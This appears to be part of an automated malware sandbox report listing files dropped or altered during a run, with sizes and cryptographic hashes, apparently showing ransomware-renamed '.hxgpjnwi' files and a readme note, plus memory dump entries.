25cca204638a378c7571f473b76110fe105f83bf34292e134ff9b6fbd187dffaff12d368de7f8b4ca1faeffe576f9e480196f3c4595b5dbd592888c41088ac32

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
52895341f5205b1e48a170af73e4d081

SHA1
e80cd8695dbb29f2f485a608b57a041704e718fe

SHA256
bac34f3d24c371cb63f1409febb4506fbcd39458d85713ee0fd3db0ff1ecfa0a

SHA512
1c6859177e501cfd45c1b2237ba82641fabd7fab22e7e7f0e0c0269c4a2d5042e58dc2d8a55408a6375e14764740ca7f93603649c6708e6dfd11abd3e77a620d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a43cface4f70f6eace04c13d5344bec8

SHA1
611c1290d39c4d0bb705d6da5dee60b1883af4c1

SHA256
f7ba6ef4a3ab51c1aeb2b0957badc9003c6c158ec6ac76e47f832f2b65c80387

SHA512
2143d41a3960baf276194ef374c31bd0b2e6bbd64d5d0296d16ea8fe116c3c2e2209e94acf8bb26e4c828795acfab6fccca72434307f7e84c7e1cd1d3fc32e7e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
bc2042c0fc460be40fc8ba5db968449f

SHA1
6a2fa5e31ac33d12432728284d4aa5949e5caece

SHA256
db2477da6d410fa34a05d1b9e8bd62b29c84b9dd45841c552427eff6bd6113c1

SHA512
9dcb74e57e1baeb36bf6beadad62b5b6c2286baca0adb61bae6c7869e2a72feecbbbd5120325e5560b36094b9aa055b352fd8a2d30feac7067d57166d761cc01

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
28c238258865b6651aa67a870f628f12

SHA1
f9be9ae077a254a499405d53e2750d3418ed408f

SHA256
77c41e9d8612459d28b828a2b256fe10f02fcc161a7e0517d39a1484f86eb7b4

SHA512
fa5f4192fe1373c4b7e5231498ef268596ece6bb693e322fb56a4479518a215804297d66d9d3f39f465a9761a787d04003cbe5900a3c65ad23530001dffaa462

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
616536592a7f7c7cf389811237d5db77

SHA1
91ec65d671aa80fa22703cecfae9b3bbab8163ab

SHA256
db0b0c3f06db9102d7693575cebea6841f54cf36a3fc8da1f3e35880bfb8e366

SHA512
8faed71873b8ad6247a25375504f4ceffe563f0e9445465113c78ebcd3f0d4b22b4fc13083d81e1fa39e59107cf00de4784739addb5a3a263908673e19944bb3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8e2ae161389d971ae386862827b4910b

SHA1
e722a352acde5b9b19c73467c1bf4ce6ddeedf35

SHA256
400513348206378ed5271ea6af13a8f9da553f72628f7b885fc78f530bc2616b

SHA512
787f22614ac41ffe41f8c4e98b1c45eeaae82bc23e12239563b92f4e38bbc7d39f9f8bbb437e9cd8e390ce8d0fbad0721f1abc50cb3c57687fbb1831c5c0a194

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
48c2e01a9d6d82e91333c5752225da6e

SHA1
ac54fab90770f3d2f7dcf33f19e40647d8db6aac

SHA256
c7cc3019f5664d327b7d1ec30290da7de404ef152b4819a86c2369c099d5ad93

SHA512
c767e1da708ea981ffec51a8a67ed451ada8b7663066144c2b1fbdb0c55c96d5b4c2955d749cbf343c91a8aad3503670b591f6284a0112a2e5374ce89e87fa58

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
fa3d8f44580bc7aa0175ab2c4a323302

SHA1
e1994b22590d95680ff1b31a53059b4ec8bd22fa

SHA256
c4d15401c355f96aae5ffbf658fbb8854351977a3d03e48251e46ff995b12f73

SHA512
5a12405a6be8b26ed5d87bf17a5d623e90943e82165e756d6a28cd05bcd74b7cf219c9496c1cda073fe5c36005437d6c7fb8af0c36b10f2b5bdd64e5c000a5f7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f2dd8e496c89b3c04384290b41e99f0e

SHA1
caa99ef704ff947876c16184e38d7c7905f7324a

SHA256
af5533156bd1d6ce0bc80d74279cc35d40dbd31bc555f569c3c3288ed81ce76f

SHA512
3dded013b05cae6c3f225e757bef04ae5133e15288c4bff4c465bac77b961a89528b375833b5b9109149c41c25726113d91f62bd4afca1ef4c171a6d6afeefa6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4b02d14d11ceb659b7412b5e3736f9b9

SHA1
261cb4b88bbe461649ce191b0b935558adc452a7

SHA256
2234d4033516fb9c28cc67f36e0da689d4430519a3294421acb317ed3d062081

SHA512
01f265dcfed9e9078b2e7399b433d58d1a501f858c02f145ba8280e727a2c804bac6f6731fe6824e225c2273030071b85b8028ed0535153f218d172874622428

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ebbce144b05d0423ae4f06ff2cdf2a03

SHA1
e9afd438489e1331bd50826157c29ded265816b5

SHA256
53c1138061bffcd230ad63354db5d188d64f96149b9f2c708fc7097742b79ec9

SHA512
8d403d8c38ba296f4298252d742adb609a29e2cfcd5aa7f307f25b2c07e97b432d4979f4f233eee10531eeb5f4f8e3d2ea9e7c006b836c4ff1df0c3d29185993

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
4b25073a4e1c52339b72ec0e86880c4e

SHA1
9ee6c659dcd1fd48f537c05b9336c5f4cdd2a2ca

SHA256
877bf51c4e18da526a2b24edc863298ca5bde054eba55bef868beb1babc15868

SHA512
f4198fe8679ed906270dd9e1f289ef825a3533524e16645112136bb0af3226c983018492e8be6f6238cd32b88c611fff14c5286d98ba3edfca1e6768ffcaf7ea

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b988f0037a2cd2f7cdeed17767dde9a1

SHA1
cebbc8ab03b695e0c53ff7e493f3ad6b259e1cd2

SHA256
797dd4a0a48d1b80089822a4afe5780fce6c96715c9c5304b8f65bf63497a26f

SHA512
2bd550f306ebf11daa2210866bf2c240dba3692eaf94668118333dd5791e09401c3d03eb1d32a6199b0081bd433a350039389a453bf26e6e9cee196a0babc41b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e11e3b6ba997657114d65943071e6af4

SHA1
bd817ddd5d7a42088691b714c498914b2caee880

SHA256
345d692321662571c6be28efeef37692020d69d24a409e37223ec0324ad278ed

SHA512
fc2b6cdc4186a74ecb6eac9139778e0869b778a77ddecca045a0afe386f43ed5c0a0264841f8d25bc68208ce16e93aef0f01670c8b8fd1b24e3352d6d349e575

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
90c3d36ef5017fe1e9e60e127a943862

SHA1
91e0832d63e87c605286fbe69ed27d41c2ba256d

SHA256
1fcfe4c93ef6a529b1a7a730fdc839445ad4dce4ae5a50a74bd636eb53f7ea59

SHA512
eed5d772da2d28dbce9c8eb6ea638381ec5a4cf3adc90718dbda4486f79b9b9131ec83198dd95777f6f93e867da43a6b7f8a8acdc01ef4cc2e2195d695b6020a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
aa6a336b783b759e01f1a5b99873a04f

SHA1
35cb0960b702632011439aa296d32c7557536553

SHA256
c86448c1583441219d84bb6112db2256a0eb74e62763e51972f436f8daf3a8c7

SHA512
03fa3ff238bb45cb151413eca1a09502d1eb53e166e6a3b80422f95f012110fa9e188d17aafc7e13c1ef3add7a790d30fd12a8608c8de624d69bcf3395121c3b

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB290.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB33F.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\Desktop\BlockConvertTo.xlsm.hxgpjnwi

Filesize
185KB

MD5
098c1420d131a0aa08001ba694cae3de

SHA1
e15d59b3ac070f307ac33b947bedeac5ae44a9fe

SHA256
f407cb3e06673d0acf59e0c8a343b24adc6397e65c06937f85b133eb11998a65

SHA512
b13c957d3d6a53c31964f398933e8f65413bbe20b4428aaa28e63ddb2f527cdd5ce83bde2457c0b0bdea2bc690d3e97624ade08a16d996936d72aa060b75bc61

Download Submit
C:\Users\Admin\Desktop\BlockPing.vb.hxgpjnwi

Filesize
128KB

MD5
680d4c0bb03002d3d130fed468f9f15a

SHA1
03108b5cc9efd86653fa4ec6ce401b9655c995a1

SHA256
31405b5ba5084bd473d29972e01e5ced70dc557e11f8df68db089577a696d32d

SHA512
e088d648b66e60589e6b84f5f099a47c5934c1240db7b53180d39534b2b1889c96b9ea8fbf145c59f0508f5fa512b043c6e8bba54e3f74e7bda5ad681cfe4415

Download Submit
C:\Users\Admin\Desktop\CompareLimit.js.hxgpjnwi

Filesize
184KB

MD5
f9889de67481c213df26d1c78aba39d3

SHA1
455d5e046589e31507b7f09a622f447d7306515b

SHA256
81361e9b84b4f4afad96e61cce18ef3c082415cf21f14d59fd047494f2690dd4

SHA512
b7b85fcfcb23725c84950290fd556d94dda0e809cf966a55e444698f3e66d2a214bf6b8bf2fda333482517ecbd9f0bb3e2329cf7085fde1c16bcce1d768d6c1b

Download Submit
C:\Users\Admin\Desktop\ConvertUnlock.tif.hxgpjnwi

Filesize
819KB

MD5
3a6fe19872863e0ac97ff0cc235acd0e

SHA1
4335c35009b576530a2d3e102e669a9bfba9e126

SHA256
31c373a418f1afef14bbe2f0dd585e44fa259149ac6b4b40fbf96926476cf194

SHA512
b708b4f6b17116bcd21f4e03c49645591bea3e895646d06c0dbbafdf40473de8e5c3eb7cfe2b608d383908064c1ac2e5212f1f9b7a5d4e52e70e786e8db12aa7

Download Submit
C:\Users\Admin\Desktop\DisconnectAssert.php.hxgpjnwi

Filesize
888KB

MD5
27972b9f8ec7f836ab4a919f7d12c858

SHA1
843510d0b3d34199bbaa129bc22fca39ac842971

SHA256
3c257a3f0fb3e8069035f68d20662f96432041a9b12ba9432de6b2c49e71d113

SHA512
6d46eea9a953ba33236ffffc4ee184c9d4154246979d15a39351f984475cbd756529f97d10acec10aa6aa37019bebeb6390c7666aa77620d2c37e30ce7f85db6

Download Submit
C:\Users\Admin\Desktop\ExpandMount.csv.hxgpjnwi

Filesize
540KB

MD5
ca312455df178b85e925e0c26b518583

SHA1
8788c7d6b3a0c4ee1d4b3e62b097049b42255cd2

SHA256
1d899f21cc91e1ee0fc44d180528c23db472d79bf4d2fa17fc285ca199bbc575

SHA512
6f8de4b1b5b17ca1a6bd032fffa22d832f703aa7b14b9e4c1e8d09cb2f4bbcfb703959d21c2a5fb87e5a44e236fabc5e534948e76092f95fb2ca278068d7224b

Download Submit
C:\Users\Admin\Desktop\MountDebug.rtf.hxgpjnwi

Filesize
1.5MB

MD5
9737facd3bfe978ac8426058acf1b0cf

SHA1
ae5ed2489ebb3f43cf807504a757142311917e25

SHA256
d10bebfd8e32927450fcc9875252c3e77db9a412c9514c5f4012611f754c6934

SHA512
4e4f69d5c16fd9450cdd018ba89ef4bda294bc18753e2c3189b68f14a4b9e2f669f511c78c723062fcf85806731cd65e0646ca13721600f181413a847fd7fe1e

Download Submit
C:\Users\Admin\Desktop\RemoveEnter.wma.hxgpjnwi

Filesize
1.1MB

MD5
aafecc723d87a696be773c17f9efdbe3

SHA1
445954ca9819610c5d928cb509837d99084891f0

SHA256
2cec2a8774dd60ea38a172bd767ffb1343e666b7291a4f8630066177e8ee4231

SHA512
eb7a8930cd46cbbe5c94229fcdb0eb9032006386cae1955bd826cca25e27d3a02f4b7bd4ac6168566522894e40c06dbe5f4bdc91e2cd1edb9eede6c1f8638676

Download Submit
C:\Users\Admin\Desktop\ResumePop.csv.hxgpjnwi

Filesize
104KB

MD5
e54a93b47bee64e9883ef3ec8f0822da

SHA1
ca3c4806a5641e28d0ea2d9c02115c645207d19f

SHA256
752af37881c11c01ccf1dbf2c2fcb11b9c1d37640e2c2abfe2184d53aea9eeaf

SHA512
dab172d4669d4668577676498db762a937a37ab50e2fd22cd7503b416932d5d1ef26b06bfadb682cce428d02847189e7876ea0ff1dd69fdb2baded17349f303a

Download Submit
C:\Users\Admin\Desktop\SearchFind.doc.hxgpjnwi

Filesize
570KB

MD5
9f37b659125aa652004726243cf059e8

SHA1
ee0106635ba67dfbe96771f7e66b481e66462205

SHA256
9a7774f38ce7fb12343dc0027940fad1d3f8b3ca760c48ff2437d5ac0ccb4d1d

SHA512
389c6f09cbce8927d06fb0fb4c24ab6d6804bb30446a25def81116c94d7b583acbd3eee971bff87739c6a1b7efc3f951ec63464e1069472161ac6319f7ddb28b

Download Submit
C:\Users\Admin\Desktop\UnpublishGroup.rar.hxgpjnwi

Filesize
749KB

MD5
daacc63a488d56c23124c63f80bb3416

SHA1
534c0f80a31d5028677c591b9b5acd71e189e082

SHA256
2e011aa6b236ce514cdd7e5f2434422c4bc84f18407406bb4a149675b52312a6

SHA512
254dbae029d84300f87c704285d1e6b5a33e6acf26e5d87e408fcf5c1ce02ee0c63f58a31c55d88d6749a85ed1be1b0d2edd6886e8a48d0e2e45ef54a18782b2

Download Submit
C:\Users\Admin\Desktop\UnregisterPing.gif.hxgpjnwi

Filesize
679KB

MD5
57dd6893bf6d2b047b764d04a6cb2f43

SHA1
8507f89f367f1676d0277a3c839f73685df20b5b

SHA256
b0eb024ba1c2df3a0fec92a0e8183b71cedf53af32efba6e34bc370f33268783

SHA512
9f79acb202ae7ec3d4d13b7953601c782f93167a26743c87a08a07bffe1f4e3780dd20cf99d9d2947e5ad6a8a82503f68fa41e9616b648d34bde2c71397715ae

Download Submit
C:\Users\Admin\Desktop\WaitOut.vstx.hxgpjnwi

Filesize
435KB

MD5
afde69b948d9dbc4630f67f3e8357a8a

SHA1
ff709c5fa3b27a352e2f8a0cf9c901c931221eb2

SHA256
46b243293d2e138f5a23305039cc63983e3f0f4f5dadd5ca5d79675affebfcdc

SHA512
d083c3f3e3e651758e73ca7738d26ec41de35fee05d599404abd0787c4d53675b3d8f0e7660692b4abf896d17703a51af74ed3f37b6b50fa39f32cff4ab79474

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
707cd27ab61c4565a5f4e27eff490569

SHA1
afdcd01b49ed5c6424cc4a165cb29c524a5f6dda

SHA256
b6cf8fb33ceb1fd447ffd85f5d6d91c7c1b73a08f7755b222e269322dcc561ed

SHA512
596a19cba6751e65e13ce9261ee1a03385d2ea6b3a275866abd682ef0e06d5215888904e2988232d2f8a235f420c40a6d7cc4565ca6846fa47e726ad41de969d

Download Submit
memory/1120-0-0x0000000001B40000-0x0000000001B44000-memory.dmp

Filesize
16KB

Download
memory/1120-68-0x0000000001B40000-0x0000000001B44000-memory.dmp

Filesize
16KB

Download
memory/2792-63-0x00000000024D0000-0x00000000024D1000-memory.dmp

Filesize
4KB

Download
memory/2792-67-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/2792-32-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/2792-64-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/2792-65-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/2792-711-0x0000000002B20000-0x0000000002B21000-memory.dmp

Filesize
4KB

Download
memory/2792-66-0x0000000002520000-0x0000000002521000-memory.dmp

Filesize
4KB

Download
memory/2792-57-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/2792-70-0x00000000027B0000-0x00000000027B1000-memory.dmp

Filesize
4KB

Download
memory/2792-269-0x0000000002B20000-0x0000000002B21000-memory.dmp

Filesize
4KB

Download
memory/2792-69-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/2792-50-0x0000000001C40000-0x0000000001C41000-memory.dmp

Filesize
4KB

Download
memory/2792-34-0x0000000001C20000-0x0000000001C21000-memory.dmp

Filesize
4KB

Download
memory/2792-18-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
memory/2792-5-0x0000000001CD0000-0x00000000024B2000-memory.dmp

Filesize
7.9MB

Download